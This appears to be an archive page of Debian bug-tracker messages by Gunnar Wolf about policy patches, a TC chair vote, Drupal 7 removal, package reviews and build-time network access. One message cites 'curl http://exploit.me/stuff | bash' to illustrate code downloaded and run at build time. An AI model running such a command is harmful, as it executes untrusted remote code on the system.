> > +is likely to want to change. As the scripts themselves are frequently
> > +``conffile``\ s, modifying them requires that the administrator merge
> > +in their changes each time the package is upgraded and the
> > +``conffile`` changes. To ease the burden on the system administrator,
> > +such configurable values should not be placed directly in the script.
> >  Instead, they should be placed in a file in ``/etc/default``, which
> >  typically will have the same base name as the ``init.d`` script. This
> > 

Bug#886267: Voting for TC Chair

[Gunnar Wolf]

> Dear TC members,
> 
> With the appointment of Gunnar to the TC, Keith's term expiry and according 
> to 
> our current procedures¹, I am hereby announcing my immediate vacation of the 
> chair position, triggering a new election. For clarity of the process, I am 
> interested to continue serving as chair.

Thanks a lot for making me a part of the TC, I'm most honored by it!

> The ballot is the following:
> 
> ===BEGIN===
> 
> The chair of the Debian Technical Committee will be:
> 
> A: Didier Raboud 
> B: Tollef Fog Heen 
> C: Phil Hands 
> D: Margarita Manterola 
> E: David Bremner 
> F: Niko Tyni 
> G: Gunnar Wolf 
> ===END===

My vote is:

A > B = C = D = E = F > G


signature.asc
Description: PGP signature

Bug#886265: dh-make-drupal: Package is useless

[Gunnar Wolf]

Felipe Alvarez dijo [Wed, Jan 03, 2018 at 12:54:09PM -0300]:
> Package: dh-make-drupal
> Version: 2.1-2
> Severity: important
> 
> Dear Maintainer,
> 
> trying to fetch a module:
> 
> felipe@satriani:~$ dh-make-drupal --debug 5 views
> D:Parsed options:
> (...)
> best regards.

Hi,

I have recently requested dh-make-drupal to be dropped from Debian:

https://bugs.debian.org/cgi-bin/bugreport.cgi?bug=885015

I am in the process or working out reverse dependencies so we can also
remove drupal7.

https://bugs.debian.org/cgi-bin/bugreport.cgi?bug=884929

Greetings,

Bug#884929: Removal requested for Drupal7

[Gunnar Wolf]

FWIW, I have opened bugs #885116 requesting the removal of
drupal7-mod-libraries and #885117 requesting to rebuild the civicrm
source package not including drupal7-mod-civicrm.


signature.asc
Description: PGP signature

Bug#885117: drupal7-mod-civicrm: Please stop building the drupal7-mod-civicrm binary package (dependency drupal7 to be removed)

[Gunnar Wolf]

Package: drupal7-mod-civicrm
Severity: important

Hi,

I have requested ftp-masters to remove drupaly (#884929) as it should
not be part of the next stable Debian release. I have been pointed out
drupal7-mod-civicrm depends on it.

Please build a new release of civicrm that does not generate this
binary package!

-- System Information:
Debian Release: buster/sid
  APT prefers unstable
  APT policy: (500, 'unstable')
Architecture: amd64 (x86_64)

Kernel: Linux 4.9.0-2-amd64 (SMP w/8 CPU cores)
Locale: LANG=en_US.UTF-8, LC_CTYPE=en_US.UTF-8 (charmap=UTF-8), 
LANGUAGE=en_US:en (charmap=UTF-8)
Shell: /bin/sh linked to /bin/dash
Init: systemd (via /run/systemd/system)

Versions of packages drupal7-mod-civicrm depends on:
pn  civicrm-common  
pn  drupal7 

drupal7-mod-civicrm recommends no packages.

Versions of packages drupal7-mod-civicrm suggests:
pn  civicrm-l10n  

Bug#885116: RM: drupal7-mod-libraries; Removal of dependency drupal7

[Gunnar Wolf]

Package: ftp.debian.org
Severity: normal

I have requested ftp-masters to remove drupal7 from unstable
(#884929). drupal7-mod-libraries depends on it, so it should be
removed as well.

Bug#884929: Removal requested for Drupal7

[Gunnar Wolf]

Hello, Dmitry and Daniel,

I have requested the removal of Drupal7 (#884929), but forgot to check
for reverse dependencies.

So, I will request for the removal of your packages,
drupal7-mod-libraries and drupal7-mod-civicrm. In the first case,
Daniel, no further action will be needed from your side; Dmitry, I
guess you should alter the civicrm source package so it no longer
generates drupal7-mod-civicrm.

Thanks for understanding, and sorry to (finally!) remove Drupal7 from
under your feet!


signature.asc
Description: PGP signature

Bug#885015: RM: dh-make-drupal -- ROM; Designed to work with drupal7, scheduled for ROM as well

[Gunnar Wolf]

Package: ftp.debian.org
Severity: normal

Hi,

I asked yesterday for drupal7 to be removed from Debian (#884929). I
request also dh-make-drupal to be removed, as its main purpose is to
prepare Debian packages from Drupal7 modules, and will now serve no
purpose.

Thanks,

Bug#884765: ITP: drupal-init-tools -- helper commands to create and install new Drupal projects

[Gunnar Wolf]

Antonio Ospite dijo [Tue, Dec 19, 2017 at 11:45:52AM +0100]:
> (...)
> I am the upstream author of drupal-init-tool and I plan on maintaining
> the Debian package myself, but I am not a Debian Developer or a Debian
> Maintainer.
> 
> I do have a sponsor who is kind enough to upload some other packages of
> mine, but if someone is interested in web stuff and want to sponsor me
> for this one, my usual sponsor and I would surely appreciate it. :)

FWIW, as the maintainer of Drupal7 (FWIW, I requested for it to be
removed from unstable yesterday), I am interested in having it. I'm
currently away from home and with low network availability, but am
willing to look at the packaging sponsor your uploads if needed (but
expect end-of-the-year-time delays)


signature.asc
Description: PGP signature

Bug#884929: RM: drupal7 -- ROM; Old version; newer version not packagable for Debian

[Gunnar Wolf]

Package: ftp.debian.org
Severity: normal

Drupal 7.x is no longer being actively developed, as developers have
shifted to Drupal 8.x. While it still has security support (and should
continue to be part of Stable and Oldstable), the 8.x series is
already over a year old. I decided a year ago not to package 8x as it
became a licensing nightmare of embedded library copies
(http://gwolf.org/node/4087). Drupal 7 should _not_ be part of Buster.

Thanks,

Bug#683495: Mandating use of /usr/bin/perl in Policy

[Gunnar Wolf]

Sean Whitton dijo [Sat, Oct 14, 2017 at 11:49:59AM -0700]:
> I am seeking seconds for the following patch to close this bug, which I
> think is uncontroversial at this point.
> 
> > @@ -185,7 +185,7 @@ All command scripts, including the package maintainer 
> > scripts inside the
> >  package and used by ``dpkg``, should have a ``#!`` line naming the shell
> >  to be used to interpret them.
> >
> > -In the case of Perl scripts this should be ``#!/usr/bin/perl``.
> > +In the case of Perl scripts this must be ``#!/usr/bin/perl``.
> >
> >  When scripts are installed into a directory in the system PATH, the
> >  script name should not include an extension such as ``.sh`` or ``.pl``

Seconded.




signature.asc
Description: PGP signature

Bug#882445: Proposed change of offensive packages to -offensive

[Gunnar Wolf]

Sean Whitton dijo [Thu, Nov 23, 2017 at 02:40:54PM -0700]:
> Hello David,
> > On Wed, Nov 22, 2017 at 05:18:37PM -0700, Sean Whitton wrote:
> >> >   "cowsay-offensive".  In this situation the "-offensive" package can
> >> >   be Suggested by the core package(s), but should not be Recommended
> >> >   or Depended on, so that it is not installed by default.
> >   ^^
> > While it seems to be a reasonable explanation for why it should be at most
> > a suggests, this half-sentence is hardcoding behaviour of a specific
> > package manager in its current default configuration into policy.
> >(...)
> 
> Thank you for your feedback.  I see what you mean.
> 
> I second the patch revised to exclude this half-sentence.

Makes sense. Sean, please note that, having seconded Ian's original
wording, I also second this modification.


signature.asc
Description: PGP signature

Bug#882445: Proposed change of offensive packages to -offensive

[Gunnar Wolf]

Sean Whitton dijo [Wed, Nov 22, 2017 at 05:18:37PM -0700]:
> > So to be concrete, how about this:
> >
> >   N. Packages with potentially offensive content
> >
> >   As a maintainer you should make a judgement about whether the
> >   contents of a package is appropriate to include, whether it needs
> >   any kind of content warning, and whether some parts should be split
> >   out into a separate package (so that users who want to avoid certain
> >   parts can do so).  In making these decisions you should take into
> >   account the project's views as expressed in our Diversity Statement.
> >
> >   If you split out (potentially) offensive or disturbing material into
> >   a separate package, you should usually mark this in the package name
> >   by adding "-offensive".  For example, "cowsay" vs
> >   "cowsay-offensive".  In this situation the "-offensive" package can
> >   be Suggested by the core package(s), but should not be Recommended
> >   or Depended on, so that it is not installed by default.
> 
> I second this patch.  I suggest we add it as section 3.1.1, i.e., as a
> subsection to 3.1 "The package name".
> 
> Iain, Gunnar and Steve: could you repeat your seconding of this patch to
> this debian-policy bug, please?  Kindly quote the above text that you
> are seconding.
> 
> For posterity, the rest of the discussion outside of this bug may be
> found here: https://lists.debian.org/debian-devel/2017/11/msg00209.html

Right. I second this patch. Thanks, Sean, for doing the administrative
steps!


signature.asc
Description: PGP signature

Bug#862461: tiptop: requires root to run

[Gunnar Wolf]

tags 862461 + patch
thanks

I agree with Nathaniel, the currently displayed message is too
confusing for regular users. A proper message should be displayed,
even if it means a (small!) deviation from upstream.

I am attaching a patch here, please consider!
Description: Report that root access is required
 When perf_event_paranoid level is set to 3 (default), tiptop requires
 root access to be run (#862461). Notify the user accordingly.
Author: Gunnar Wolf <gw...@debian.org>

Origin: vendor https://bugs.debian.org/862461
Bug-Debian: https://bugs.debian.org/862461
Forwarded: no
Reviewed-By: Gunnar Wolf <gw...@debian.org>
Last-Update: 2017-10-31

Index: tiptop-2.3.1/src/requisite.c
===
--- tiptop-2.3.1.orig/src/requisite.c
+++ tiptop-2.3.1/src/requisite.c
@@ -69,8 +69,11 @@ int check()
 else if (strcmp(os.release, "2.6.31") < 0) {  /* lexicographic order */
   fprintf(stderr, "Linux 2.6.31+ is required, OS reports '%s'.\n",
   os.release);
-}
-else {
+} else if (paranoia_level == 3) {
+  fprintf(stderr, "Your kernel is set with an event paranoia value of 3\n");
+  fprintf(stderr, "Either run this program as root, or set a lower\n");
+  fprintf(stderr, "paranoia value at '%s'.\n", PARANOID2);
+} else {
   fprintf(stderr, "Don't know why...\n");
 }
 exit(EXIT_FAILURE);


signature.asc
Description: PGP signature

Bug#877212: [Pkg-javascript-devel] Bug#877212: node-d3-color: B-D npm not available in testing

[Gunnar Wolf]

Jérémy Lal dijo [Tue, Oct 03, 2017 at 07:46:43PM +0200]:
> It might be a good idea to make policy more explicit about downloads during
> build.

I completely agree. This led me to look at #813471 ("network access to
the loopback device should be allowed"), and... Well, it seems to set
the stage to the issue we are tackling now: #813471 is opened as a
reaction against #770016 ("Clarify network access for building
packages in main").

I fully agree with Guillem's suggestions, although Pabs has a point in
cuffing the build process more strongly.

But anyway, #770016 worries me as it seems to deal with main only;
however, the precise issue we are discussing was mentioned then as
well by Henrique:

  https://bugs.debian.org/cgi-bin/bugreport.cgi?bug=770016#48
  And it is is not just for main, I don't think contrib is supposed to
  hit the network during *build*, either.

Bill explicitly mentioned he was not targeting contrib on this bug's
proposed (and accepted) changes:

  https://bugs.debian.org/cgi-bin/bugreport.cgi?bug=770016#58
  I have no idea abut contrib.



signature.asc
Description: PGP signature

Bug#877212: [Pkg-javascript-devel] Bug#877212: node-d3-color: B-D npm not available in testing

[Gunnar Wolf]

Pirate Praveen dijo [Tue, Oct 03, 2017 at 12:12:54PM +0530]:
> > I am completely with Sean here; I read the following messages, and am
> > happy a better resolution was found. But, FWIW, I'll support Sean's
> > interpretation - Contrib and non-free are *not* places where we can
> > happily breach any bits of policy; they are exclusively for things
> > that cannot be shipped in Debian Main due to their DFSG status.
> 
> I cannot accept arbitrary interpretations of policy. When build tools
> are not available in main, they cannot go to main, and if the software
> itself is Free Software, it can go to contrib. If you disagree, please
> get the policy clarified. As per the current policy, these packages
> clearly qualified for contrib and these were already accepted by ftp
> masters into the archive. You could go to CTTE and challenge the
> decision of ftp masters.

Let me quote the Debian Social Contract:

Works that do not meet our free software standards

We acknowledge that some of our users require the use of works that do
not conform to the Debian Free Software Guidelines. We have created
"contrib" and "non-free" areas in our archive for these
works. (...)

So, contrib is _explicitly_ meant for software that does not meet the
DFSG, not for random stuff that cannot be packaged for convenience or
different issues.

According to Policy, section 2:

Packages in the other archive areas (contrib, non-free) are not
considered to be part of the Debian distribution, although we
support their use and provide infrastructure for them (such as our
bug-tracking system and mailing lists). This Debian Policy Manual
applies to these packages as well.

Policy says that all packages in contrib and non-free should be policy
compliant. Further, in 2.2.2:

The contrib archive area contains supplemental packages intended
to work with the Debian distribution, but which require software
outside of the distribution to either build or function.

Every package in contrib must comply with the DFSG.

In addition, the packages in contrib

  • must not be so buggy that we refuse to support them, and
  • must meet all policy requirements presented in this manual.

For this section, yes, I will be making interpretation - But I hold
that we would be hard-pressed to provide support for something built
with a compiler downloaded at build time. Maybe, as Simon suggests, if
your debian/ includes hashes for the compiler version being
used (and everything it pulls in via npm)... But in that case, it's
probably better to include the tar.gz as part of your debian/

I *do* take note, however, of:

Examples of packages which would be included in contrib are:

• free packages which require contrib, non-free packages or packages
  which are not in our archive at all for compilation or execution,
  and
• wrapper packages or other sorts of free accessories for
  non-free programs.

The first point would seem to cover your use case. However, it's not
necessarily covering (...) compilation or execution via code just
downloaded. It does not cover the equivalent of
"curl http://exploit.me/stuff | bash"

> Alternatively, those who care enough about the issue can help get these
> tools into main. I have been doing just that over the last years (grunt,
> gulp, babel, jison, webpack to name a few, each with 100s of
> dependencies) so many of the packages currently in main could go there.
> Since the tools are just so many and the people packaging them are
> handful, it will take quite a while for all these tools to be in main
> and I'm going to continue using contrib for these packages until that time.
> 
> You can also check the record of people who are most vocal over the
> issue (not just in this thread, but in earlier discussions about
> handlebars/dfsg/browserify) and compare who is helping fix the issue and
> who is just talking.

In this case, I'm clearly in the group of those who are somewhat
vocal, and are not helping your efforts. Well, I did quite a bit of
effort in a related matter with the work I put into packaging Drupal8,
which I dropped in the end¹ precisely due to it not being cleanly
packagable for Debian.

¹ http://gwolf.org/node/4087

> > And, yes, network access during a build... Is a clear no-go. Specially
> > if as a project we are committed to this so neat Reproducible Builds
> > thingy that has made so many among us proud to be part a project where
> > an ages-long problem is finally being tackled - And quite
> > successfully, even!
> 
> I thought building these things (making sure the source corresponds to
> the distributed binaries), though using tools outside archive, was
> preferred over shipping pre-built binaries. But it seems shipping
> pre-built binaries are preferred. It looks to me like a misplaced
> compromise, but I will follow this advice and ship pre-built binaries
> next time without building them using npm.

I would strongly 

Bug#877212: [Pkg-javascript-devel] Bug#877212: node-d3-color: B-D npm not available in testing

[Gunnar Wolf]

Sean Whitton dijo [Sat, Sep 30, 2017 at 12:10:54PM -0700]:
> > The whole purpose of having contrib and non-free is to host packages
> > that can't be in main, either permanently or temporarily. I fail to
> > see how it is against the spirit.
> 
> To my mind, at least, the purpose of contrib and non-free is for
> packages that can't be in main for DFSG reasons /alone/.  Social
> Contract item 5:
> 
> We acknowledge that some of our users require the use of works that
> do not conform to the Debian Free Software Guidelines.  We have
> created "contrib" and "non-free" areas in our archive for these
> works.
> (...)
> I am still very uneasy about serving our users -- even our users of
> Debian unstable -- with packages that are built using material pulled
> from the net.  I think that people who add 'contrib' to their
> sources.list do not expect this kind of thing.

I am completely with Sean here; I read the following messages, and am
happy a better resolution was found. But, FWIW, I'll support Sean's
interpretation - Contrib and non-free are *not* places where we can
happily breach any bits of policy; they are exclusively for things
that cannot be shipped in Debian Main due to their DFSG status.

And, yes, network access during a build... Is a clear no-go. Specially
if as a project we are committed to this so neat Reproducible Builds
thingy that has made so many among us proud to be part a project where
an ages-long problem is finally being tackled - And quite
successfully, even!

Bug#877372: ITP: bzrmk -- Generator for .bzrignore files

[Gunnar Wolf]

Sascha Manns dijo [Sun, Oct 01, 2017 at 07:57:01AM +0200]:
> This program helps by creating a .bzrignore file for your project. After
> installing it provides a binary, which can copy the installed bzr.mk into your
> current project directory. bzr.mk itself provides some useful rules for
> blacklisting some of your files to put them into the .bzrignore.
> (...)
> - - if there are other packages providing similar functionality, how does it
> compare?
> No other packages with similar functionality found.
> 
> - - how do you plan to maintain it?
> I'm the upstream developer and can take care of this package. I don't need a
> co-maintainer, but a sponsor.

Hmmm... I know this is an ITP, but seeing you are the upstream
developer as well...

Do you think this program could be generizable? I mean, if you are
creating patterns for auto-generated files based on
$whatever_heuristic that spans a whole project, would it be possible
to use the output to create a .gitignore, .svnignore, or such as well?

Bug#876157: python-fuse: Inconsistent explanation between short and long descriptions

[Gunnar Wolf]

Package: python-fuse
Version: 2:0.2.1-14
Severity: minor
Tags: patch

Package: python-fuse
Version: 2:0.2.1-14
Severity: minor
Tags: patch

Package: python-fuse
Version: 2:0.2.1-14
Severity: minor
Tags: patch

Hiya,

The short description for this module reads:

Python bindings for FUSE (Filesystems in USErland)

While the long description starts as:

This is a Python interface to FUSE.
.
FUSE (Filesystem in USErspace) is (...)

AFAICT, the second one is the correct one. Here is the (most trivial)
inlined patch:

diff --git a/debian/control b/debian/control
index d6fbee6..8f27669 100644
--- a/debian/control
+++ b/debian/control
@@ -16,7 +16,7 @@ XB-Python-Version: ${python:Versions}
 Provides: ${python:Provides}
 Breaks: gmailfs (<= 0.7.3-4), wikipediafs (<= 0.3), python2.4-fuse (<< 2.5-3), 
python2.3-fuse (<< 2.5-3)
 Replaces: python2.4-fuse (<< 2.5-3), python2.3-fuse (<< 2.5-3)
-Description: Python bindings for FUSE (Filesystems in USErland)
+Description: Python bindings for FUSE (Filesystems in USErspace)
  This is a Python interface to FUSE.
  .
  FUSE (Filesystem in USErspace) is a simple interface for userspace


Thanks!

-- System Information:
Debian Release: buster/sid
  APT prefers unstable
  APT policy: (500, 'unstable')
Architecture: amd64 (x86_64)

Kernel: Linux 4.9.0-2-amd64 (SMP w/8 CPU cores)
Locale: LANG=en_US.UTF-8, LC_CTYPE=en_US.UTF-8 (charmap=UTF-8), 
LANGUAGE=en_US:en (charmap=UTF-8)
Shell: /bin/sh linked to /bin/dash
Init: systemd (via /run/systemd/system)

Versions of packages python-fuse depends on:
ii  fuse  2.9.7-1
ii  libc6 2.24-17
ii  libfuse2  2.9.7-1

python-fuse recommends no packages.

python-fuse suggests no packages.

-- no debconf information

Bug#874020: lists.debian.org: Consider disabling/removing the "debian-research" mailing list

[Gunnar Wolf]

Package: lists.debian.org
Severity: normal

Hi listadmins,

I was unaware of the existence of the debian-research mailing list
before today. And that's quite odd, as I have followed activities
regarding "Debian from an academic perspective" for several years!

When I got to the list archives, it all became obvious: It is a
non-list. The last non-spam mail is from 2014. The last mail that got
a reply is from 2011. There are several interesting mails between 2005
and 2010, but we don't seem to be able even to reply to mails there
anymore.

My request, thus, is to remove this list. Having it listed might lead
externals into believing that's the place to invite people to
participate in studies, or to send CfPs, or to solve non-technical
questions (all of those cases have happened). It is a non-service, as
those people are likely just wasting their time waiting for an answer;
they might try some better places instead, or just give up on Debian
and go elsewhere.

Thanks for considering this request!

Bug#868865: ITP: python-django-imagekit -- Automated image processing for Django

[Gunnar Wolf]

Michael Fladischer dijo [Wed, Jul 19, 2017 at 12:31:58PM +0200]:
>  ImageKit is a Django app for processing images. Need a thumbnail? A
>  black-and-white version of a user-uploaded image? ImageKit will make them for
>  you. If you need to programmatically generate one image from another, you 
> need
>  ImageKit.
>  .
>  ImageKit comes with a bunch of image processors for common tasks like 
> resizing
>  and cropping, but you can also create your own.

I would welcome if you added to the description a bit on how this is
done. Is it a pure-Python solution? Is it linked to a C local
implementation, or to a well-known library? Or does it invoke external
binaries such as Imagemagick's on temporary files?

Bug#866652: runit: Should depend on runit-(systemd|sysv) to be present

[Gunnar Wolf]

Package: runit
Version: 2.1.2-9.2
Severity: important

After updating a server from Jessie to Stretch, vblade-persist stopped
working. It took me a while to understand the chain of items to blame:
When I requesed «vblade-persist start all», it just replied that
«runsv not running» — This, in turn, happened because runit was
installed, but being unable to run under PID 1, it just died.

After installing runit-systemd, everything worked smoothly.

So, runit should depend (or at very least, recommend) the relevant
package for the init system in use!

Thanks,

-- System Information:
Debian Release: 9.0
  APT prefers stable
  APT policy: (500, 'stable')
Architecture: amd64 (x86_64)

Kernel: Linux 4.9.0-3-amd64 (SMP w/12 CPU cores)
Locale: LANG=en_US.UTF-8, LC_CTYPE=en_US.UTF-8 (charmap=UTF-8), 
LANGUAGE=en_US:en (charmap=UTF-8)
Shell: /bin/sh linked to /bin/dash
Init: systemd (via /run/systemd/system)

Versions of packages runit depends on:
ii  libc6  2.24-11+deb9u1

runit recommends no packages.

runit suggests no packages.

-- no debconf information

Bug#865498: Wheezy update of drupal7?

[Gunnar Wolf]

Raphael Hertzog dijo [Thu, Jun 22, 2017 at 10:55:59AM +0200]:
> Hello Gunnar,

Hello Raphael,

Thanks a lot for your great, invaluable help on LTS!

> The Debian LTS team would like to fix the security issues which are
> currently open in the Wheezy version of drupal7:
> https://security-tracker.debian.org/tracker/CVE-2017-6922
> 
> Would you like to take care of this yourself?
> (...)

TBH, I don't currently have a system to test this on, and there has
been a big divergence in source since 7.14.

> If you don't want to take care of this update, it's not a problem, we
> will do our best with your package. Just let us know whether you would
> like to review and/or test the updated package before it gets released.

I would very much prefer if somebody else could tackle this one. The
diff is quite straightforward, and I trust you can manage very well
with this. Just for reference, this is what I just uploaded for
Stretch:

https://anonscm.debian.org/cgit/collab-maint/drupal7.git/commit/?h=stretch

Thank you very much,

Bug#865289: ITP: ruby-tool -- general purpose Ruby library used by Sinatra 2.0 and Mustermann

[Gunnar Wolf]

Balasankar C dijo [Wed, Jun 21, 2017 at 08:18:11AM +0530]:
> >Umh, the name 'tool' is as generic as 'general purpose library'. Could
> >you provide a description that people would find useful to know
> >whether they could use this library (so that it's not _only_ used as a
> >dependency)?
> 
> To be honest, I did feel the same when I filed this ITP and I spent
> some time thinking of a better description. However, after reading
> the code, the description is probably the best one it can have. This
> gem basically bundles three or four different helper methods that
> are mainly to be used by Sinatra and Mustermann. I don't think I can
> find a better short description that conveys this fact. Maybe change
> "general purpose library" with "collection of helper methods".
> 
> What I can do is beef up the extended description to specify what
> all are the methods and clarify that they are mainly used by Sinatra
> and Mustermann for their specific code structure.

Ummm, I'd probably say "collection of helper methods for Sinatra and
Mustermann" then :) Making it clear from the short description what
this "tool" aims to.

(still, terrible naming for a piece of software!)

> As English isn't my best attribute, I'm open to any suggestion you
> may have. Else I will make the changes mentioned above.

I can tell you that it's quite clear that self.english.skills < 'native'
as well ;-)

Bug#865289: ITP: ruby-tool -- general purpose Ruby library used by Sinatra 2.0 and Mustermann

[Gunnar Wolf]

Balasankar C dijo [Tue, Jun 20, 2017 at 03:47:20PM +0530]:
> Package: wnpp
> Severity: wishlist
> Owner: Balasankar C 
> 
> * Package name: ruby-tool
>   Version : 0.2.3
>   Upstream Author : Konstantin Haase
> * URL : https://github.com/rkh/tool
> * License : Expat
>   Programming Lang: Ruby
>   Description : general purpose Ruby library used by Sinatra 2.0 and 
> Mustermann
> 
> Required for GitLab 9.2.x

Umh, the name 'tool' is as generic as 'general purpose library'. Could
you provide a description that people would find useful to know
whether they could use this library (so that it's not _only_ used as a
dependency)?

Bug#861581: ITP: rainloop -- Simple, modern & fast web-based email client

[Gunnar Wolf]

Hi Daniel,

Daniel Ring dijo [Sun, May 07, 2017 at 11:01:33AM +]:
> Hi Gunnar,
> 
> I've finished putting together a preliminary version of the package, but I
> have a few concerns about it.
> 
> The largest one is that the build system is NodeJS-based, and requires a
> version of npm newer than the one currently in Debian. Bugs #857986 and 
> #794890
> have some details about npm's issues. Installing nodejs from its official
> repository works, as does building on Ubuntu.

Ugh. The whole NodeJS ecosystem makes me shiver :-(

Anyway, installing a newer version than what's available in Debian is
*not* acceptable for a package to go in Debian. Either it has to be
patched to build with older versions, or you have to wait to the newer
version to arrive to Debian.

> Secondly, the build system has the usual issue with NodeJS packaging; it
> downloads dependencies at runtime. Most of the packages don't exist in Debian
> or are out of date, and I found several existing packages doing this while
> looking for a better solution, so I'm not sure how much of an issue this is.
> This only occurs at build-time, and nodejs isn't required to use the software.

That is also something that cannot be done; packaging software cannot
depend on network connectivity (not even initiate network
connections). The dependencies must be somehow build-depended upon; in
the (ugliest, worst) case you could patch your sources to include the
packages to fulfill this... But I doubt the ftp-masters will approve
of it.

> Finally, the upstream source contains several embedded libraries. I was able 
> to
> swap a few of them for existing packages in Debian, but there are a few PHP
> libraries that don't have existing packages.

It is frowned upon, but tolerated; you have to just make sure to keep
track of them and properly attribute all of the copyrights in
debian/copyright. 

> The JavaScript libraries are amalgamated into a single file at
> build-time, and separating them out would be a non-trivial amount of
> work for decreased performance.

We have to ship sources for every piece of software. You don't need to
separate them as long as you provide all the sources and can *prove*
they can be amalgamated to the identical "binary" you are
shipping. That's not a trivial thing, sadly :(

> Again, I found several existing packages doing this, so I'm not sure
> how much of a problem it is.  Upstream provided sources for most, I
> added the few missing to satisfy lintian.
> 
> I've uploaded the package to mentors: 
> https://mentors.debian.net/package/rainloop
> Please review it when you have a chance, and let me know if there's anything I
> need to fix!

I'm just talking WRT your text, and have not looked at the packaging
itself; I think I can do it on ~thursday... If you find some other
sponsor, of course, feel free to follow up with them. I want to at
least try and get the work done with you.

If you find examples in Debian that have been accpeted in opposition
to what I have pointed out here, point me to them.

Bug#861581: ITP: rainloop -- Simple, modern & fast web-based email client

[Gunnar Wolf]

Daniel Ring dijo [Sun, Apr 30, 2017 at 05:53:11PM -0700]:
> Rainloop is a PHP-based MUA with a modern interface and no database 
> requirements.
> 
> It supports IMAP and SMTP protocols (including SSL), Sieve scripts,
> multiple accounts and identities, an admin panel for configuration,
> and integration with a variety of commonly-used services. Plugins
> can be installed to further extend functionality. Emails are not
> stored locally, but are accessed through IMAP.
> 
> Debian already has a few webmail packages, but very few with a
> modern interface style, all of which require a database backend. I
> created a package for Rainloop for personal use, but I think other
> Debian users may find it useful as well.
> 
> I should be able to handle maintainance myself, as very few changes
> are required from upstream, but I will need a sponsor.

Hi Daniel,

I'm interested in looking at your package. When it's ready and when
you need a sponsor, mail me!


signature.asc
Description: Digital signature

Bug#861340: ITP: elpa-poetry -- Poetry writing aids for Emacs

[Gunnar Wolf]

Nicholas D Steeves dijo [Thu, Apr 27, 2017 at 01:37:03PM -0400]:
> Package: wnpp
> Severity: wishlist
> Owner: Nicholas D Steeves 
> 
> * Package name: elpa-poetry
> (...)
> In combination with tools such as dict.el, and thesaurus.el, this
> package extends Emacs to make it easier to write metrically
> correct poetry with more varied diction.  Its four primary functions
> are:
>  (...)
> Formal poetry tends to be seen as something mysterious and difficult.
> This package allows someone who is still having difficulty scanning
> lines--that is to say, difficulty finding and/or counting the stressed
> and unstressed syllables--the chance to build confidence by succeeding
> in these early steps.

Sounds like very nice and fun! I would only ask you to add to the
description, if you have this information: Is this package meant to
aid only for English? Or can it be extended with other languages
syllabation rules and by-word-ending dictionaries?


signature.asc
Description: Digital signature

Bug#860714: general: disk became full after running a perl program

[Gunnar Wolf]

The bug submitter followed up by private mail to me only; I'm cc:ing
the bug report before closing it to provide a reasoned follow-up.

- Forwarded message from Luis Duarte <turcova...@sapo.pt> -

Date: Sat, 22 Apr 2017 16:36:29 +0100
From: Luis Duarte <turcova...@sapo.pt>
To: Gunnar Wolf <gw...@debian.org>
Subject: Re: Bug#860714: general: disk became full after running a perl program
Message-ID: <9115278b-70fc-03fd-f7ff-0b56012c2...@sapo.pt>
References: <20170419084010.1659.21073.reportbug@batelatas> 
<20170419235152.ga1...@gwolf.org>
X-Spam-Level: 
X-Spam-Status: No, score=-1.1 required=5.0 tests=BAYES_00,FREEMAIL_FROM, 
SPF_NEUTRAL autolearn=no autolearn_force=no version=3.4.0

Hi Wolf
Thank you for replying and for being helpful.
I wrote a batch of perl programs to deal with the emails returned to me.
Everyday I send emails marketing a book I had written. The perl program I sent
to you in attachment do the parsing of the files related to the emails
returned to me. The emails are previously saved  in a directory. The perl
program analyses the return codes of emails, and accordingly, the email
addresses are written in different files (a file with the email addresses
considered spam; a file with email addresses considered unknown; a file with
new email addresses, etc). The program also analyses the returning emails like
"out of office". After that, another perl program includes the treated email
addresses in a small (kind of) data base.

Let's go to the reported bug. As I told you, I use the last release of debian
Jessie, with Xfce. Previously, the perl programs were executable ones.
Sometimes, in the file manager Thunar 1.6.3 I click two times in a perl
program (executable) in order to open it with the gedit text editor, but
instead to open it, I mistakenly  execute it. It happens that the
xfce4-terminal (0.6.3) don't open to show the output. Due to these actions, I
think the disk became full several times, creating a lot of trouble.

Since I marked the perl files as not executable, when I click two times on a
perl file, it opens automatically gedit text editor, presenting the respective
perl file. This way, the double click do not start the execution of the
program. When I intend to run the perl program (file), I open a
xfce4-terminal, and write: perl name_of_perl_program. Since then I had any
problem.

In Wheezy I got disk full a lot of times. In Jessie, it happen to me one time.
I managed to free some disk, I restarted the computer, and I got 30% of disk
usage instead of 100%. I think Jessie managed to recover nicely from this kind
of error. On the contrary, Wheezy was a mess.

Soon I will do some experimentation about this bug in a separate disk. I am
not sure that the problem resides in the operating system, or in Xfce, or in
my programs. I am not a perfect programmer.

My best wishes
Luis Duarte


- End forwarded message -

Bug#860714: general: disk became full after running a perl program

[Gunnar Wolf]

Luis Duarte dijo [Wed, Apr 19, 2017 at 09:40:10AM +0100]:
> Package: general
> Severity: normal
> 
> My windows manager is Xfce. Using Thunar - when I opened a directory 
> containing
> perl programs, somethimes I click two times on a perl program to start it. No
> Xterm appears - what I think that happen is that my disk become full. I happen
> a lot of times in Wheezy, but in Jessie it happened one times. I don't know if
> this happens (the disk became full) as I described, if it is a bug of Xfce, or
> if it is a bug of Jessie. In Jessie I freed some space on disk, and I restat 
> my
> computer, and everything runs as normal (with space freed). I Wheezy I had a
> lot of problems.

Hi,

What kind of Perl programs are they? Are they made by yourself, or
shipped by Debian?

Please give us some more insight on what is causing this bug. Only
this way we can be sure what component of Debian is at hand - Or if
it's something we can help you with in your programming.

Bug#854822: installation-report: U-boot not correctly installed when partitioning with "Guided - use entire disk"

[Gunnar Wolf]

Thanks for the quick insight into this, Karsten!

Karsten Merker dijo [Fri, Feb 10, 2017 at 09:36:33PM +0100]:
> (...) but this doesn't work in your case as we currently
> only disable the clobbering for /dev/mmcblk0 while your SD card
> shows up as /dev/mmcblk1. I am not 100% sure about that, but IIRC
> with older kernels the SD card in the cubox-i has shown up as
> /dev/mmcblk0. 

Hmmm, interesting! Yes, I had not noticed it is finding the card as
mmcblk1. Checking the kernel boot messages, I see the following
messages:

# dmesg |grep mmc
[2.509702] sdhci-esdhc-imx 219.usdhc: allocated mmc-pwrseq
[2.771308] mmc0: SDHCI controller on 219.usdhc [219.usdhc] using 
ADMA
[2.808099] mmc0: queuing unknown CIS tuple 0x80 (50 bytes)
[2.816447] mmc1: SDHCI controller on 2194000.usdhc [2194000.usdhc] using 
ADMA
[2.818516] mmc0: queuing unknown CIS tuple 0x80 (7 bytes)
[2.827572] mmc0: queuing unknown CIS tuple 0x80 (4 bytes)
[2.868673] mmc0: queuing unknown CIS tuple 0x02 (1 bytes)
